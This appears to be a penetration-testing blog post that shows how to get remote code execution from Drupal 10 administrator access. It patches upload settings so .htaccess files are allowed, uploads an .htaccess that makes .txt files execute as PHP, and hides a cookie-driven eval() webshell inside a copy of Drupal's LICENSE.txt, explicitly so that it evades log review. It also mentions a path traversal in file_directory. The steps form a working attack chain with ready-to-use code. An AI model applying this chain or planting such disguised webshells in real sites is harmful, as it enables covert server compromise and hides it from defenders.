Introduction

As part of a pentest or Red Team engagement, you may gain access to the Drupal administrator interface, but what can you do then?

If referring yourself to HackTricks seems like a good idea, you should know that with recent versions of Drupal, none of the proposed techniques work on a default installation.

Why?

The techniques listed in the various tutorials online are now obsolete and no longer allow us to RCE once we’ve gained access to the administration interface.

  • RCE via PHP Filter Module no longer works.

From version 8 onwards, the PHP Filter module is not installed by default.

  • Install PHP Filter Module no longer works.

In current versions of Drupal (tested on 10.2.6), it is not possible to manually install plugins after a default installation (by only accessing the Web interface).

  • Install Backdoored Module no longer works.

For the same reason as explained above, it is not possible to install a plugin via the Web interface.

So today we’re going to take a look at a new technique that makes it possible to get RCE once again (once logged in as administrator to the administration interface).

How?

Let’s start by setting up a lab.

Setting up the Lab

We just need to run the following commands on our docker instance.

wget https://www.drupal.org/download-latest/zip -O drupal.zip
unzip drupal.zip

Then all we have to do is follow the steps from the installation script.

alt-text

alt-text

alt-text

alt-text

alt-text

alt-text

alt-text

As you can see, it is not possible to install custom modules following the default installation.

alt-text

Now that our lab is ready, let’s present the technique.

Backdooring Drupal

Part 1 (activation of Media and Media Library)

In the Extend menu (/admin/modules), you can activate what appear to be plugins already installed. By default, plugins Media and Media Library don’t appear to be activated, so let’s activate them.

Before activation:

alt-text

After activation:

alt-text

alt-text

Part 2 (leveraging feature Configuration synchronization)

We’ll leverage the Configuration synchronization feature to dump (export) and upload (import) Drupal configuration entries:

  • /admin/config/development/configuration/single/export
  • /admin/config/development/configuration/single/import

Patch system.file.yml

Let’s start by patching the first entry allow_insecure_uploads from:

File: system.file.yml


...

allow_insecure_uploads: false

...

alt-text

To:

File: system.file.yml


...

allow_insecure_uploads: true

...

alt-text

Patch field.field.media.document.field_media_document.yml

Then, patch the second entry file_extensions from:

File: field.field.media.document.field_media_document.yml


...

  file_directory: '[date:custom:Y]-[date:custom:m]'
  file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

alt-text

To:

File: field.field.media.document.field_media_document.yml

...

  file_directory: '[date:custom:Y]-[date:custom:m]'
  file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

I don’t use it in this blogpost but it is noted that it is possible to define the entry file_directory in an arbitrary way and that it is vulnerable to a path traversal attack (so we can go back up within the Drupal filesystem tree).

alt-text

Part 3 (leveraging feature Add Document)

The last step is the simplest, and is broken down into two sub-steps. The first is to upload a file in .htaccess format to leverage the Apache directives and allow .txt files to be interpreted by the PHP engine. The second is to upload a .txt file containing our payload.

File: .htaccess

<Files *>
  SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
  php_flag engine on
</IfModule>
<IfModule mod_php7.c>
  php_flag engine on
</IfModule>
<IfModule mod_php5.c>
  php_flag engine on
</IfModule>

Why is this trick cool?

Because once the Webshell (that we’ll call LICENSE.txt ) is dropped onto the Web server, we can transmit our commands via $_COOKIE and in the Web server logs, this will show up as a legitimate GET request to a text file.

Why name our Webshell LICENSE.txt?

Simply because if we take the following file, for example core/LICENSE.txt (which is already present in the Drupal core), we have a file of 339 lines and 17.6 KB in size, which is perfect for adding a small snippet of PHP code in the middle (since the file is big enough).

alt-text

File: Patched LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
    if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
        eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
    } else {
        phpinfo();
    }
}

?>

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Part 3.1 (upload file .htaccess)

First, we leverage the Add Document (/media/add/document) feature to upload our file containing the Apache directives (.htaccess).

alt-text

alt-text

alt-text

Part 3.3 (upload file LICENSE.txt)

Then, we leverage the Add Document (/media/add/document) feature again to upload a Webshell hidden within a license file.

alt-text

alt-text

alt-text

Part 3 (interaction with the Webshell)

The last part consists of interacting with the Webshell.

As shown in the following screenshot, if the cookie expected by our Webshell is not defined, we get the subsequent result when consulting the file via a Web browser.

alt-text

When the attacker sets the cookie, he can interact with the Webshell and execute any commands he wants.

alt-text

And as you can see in the logs, it looks like only a txt file has been requested.

alt-text

Thank you for taking the time to read this article, I hope it will help you get some shells.